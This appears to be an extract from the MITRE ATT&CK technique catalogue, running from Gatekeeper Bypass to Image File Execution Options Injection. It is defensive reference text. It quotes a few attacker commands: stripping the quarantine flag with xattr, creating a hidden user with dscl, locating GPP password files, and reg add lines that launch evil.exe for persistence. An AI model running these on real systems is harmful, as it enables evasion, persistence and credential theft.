1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)

2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.

3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.

4. Notarization - Using the api.apple-cloudkit.com API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.


Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. Exploitation for Defense Evasion), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)

Applications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using Drive-by Compromise.
T1144Gatekeeper BypassIn macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple’s Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)
T1592Gather Victim Host InformationAdversaries may gather information about the victim’s hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).
T1589Gather Victim Identity InformationAdversaries may gather information about the victim’s identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).
T1590Gather Victim Network InformationAdversaries may gather information about the victim’s networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).
IDNameDescription
T1591Gather Victim Org InformationAdversaries may gather information about the victim’s organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).
T1558.001Golden TicketAdversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection)

Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)

The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using OS Credential Dumping and privileged access to a domain controller.
T1061Graphical User InterfaceThis technique has been deprecated. Please use Remote Services where appropriate.

The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system’s GUI during an operation, commonly through a remote interactive session such as Remote Desktop Protocol, instead of through a Command and Scripting Interpreter, to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.
T1615Group Policy DiscoveryAdversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path \<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. Domain Policy Modification) for their benefit.
T1484.001Group Policy ModificationAdversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path \<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement many other malicious behaviors such as Scheduled Task/JobDisable or Modify ToolsIngress Tool TransferCreate AccountService Execution, and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)

For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious Scheduled Task/Job by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary’s control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)
T1552.006Group Policy PreferencesAdversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)

These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)

The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

- Metasploit’s post exploitation module: post/windows/gather/credentials/gpp
- Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
- gpprefdecrypt.py

On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml
T1056.002GUI Input CaptureAdversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and PowerShell.(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell).(Citation: Spoofing credential dialogs)
T1592.001HardwareAdversaries may gather information about the victim’s host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).
T1200Hardware AdditionsAdversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. Replication Through Removable Media), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.

While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. Adversary-in-the-Middle), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)
T1564.005Hidden File SystemAdversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)

Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)
T1158Hidden Files and DirectoriesTo prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).

Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.

### Windows

Users can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

### Linux/Mac

Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.

### Mac

Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).
Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
T1564.001Hidden Files and DirectoriesAdversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).

On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.

Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.
T1564.002Hidden UsersAdversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.

In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user’s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account)

Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)

On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.
T1147Hidden UsersEvery user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).
T1143Hidden WindowAdversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.

### Windows

There are a variety of features in scripting languages in Windows, such as PowerShell, Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)

### Mac

The configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)
T1564.003Hidden WindowAdversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.

On Windows, there are a variety of features in scripting languages in Windows, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)

Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock.

Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)
T1564Hide ArtifactsAdversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)

Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)
T1574Hijack Execution FlowAdversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
T1148HISTCONTROLThe HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to “ignorespace”. HISTCONTROL can also be set to ignore duplicate commands by setting it to “ignoredups”. In some Linux systems, this is set by default to “ignoreboth” which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.
T1179HookingWindows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.

Hooking involves redirecting calls to these functions and can be implemented via:

- Hooks procedures, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)
- Import address table (IAT) hooking, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)
- Inline hooking, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

Similar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process’s memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)

Hooking is commonly utilized by Rootkits to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)
T1027.006HTML SmugglingAdversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)

Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. Deobfuscate/Decode Files or Information), potentially bypassing content filters.

For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)
T1556.007Hybrid IdentityAdversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.

Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):

- Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud
- Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory
- Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD

AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges.

By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the AzureADConnectAuthenticationAgentService process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the Microsoft.IdentityServer.Servicehost configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)

In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)
T1062HypervisorThis technique has been deprecated and should no longer be used.

A type-1 hypervisor is a software layer that sits between the guest operating systems and system’s hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.
T1591.003Identify Business TempoAdversaries may gather information about the victim’s business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)
T1591.004Identify RolesAdversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).
T1505.004IIS ComponentsAdversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}VersionHttp{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)

Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)

Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)
T1183Image File Execution Options InjectionImage File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options<executable> where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018) - `reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe” /v GlobalFlag /t REG_DWORD /d 512` - `reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v ReportingMode /t REG_DWORD /d 1` - `reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v MonitorProcess /d “C:\temp\evil.exe”` Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
T1546.012Image File Execution Options InjectionAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)

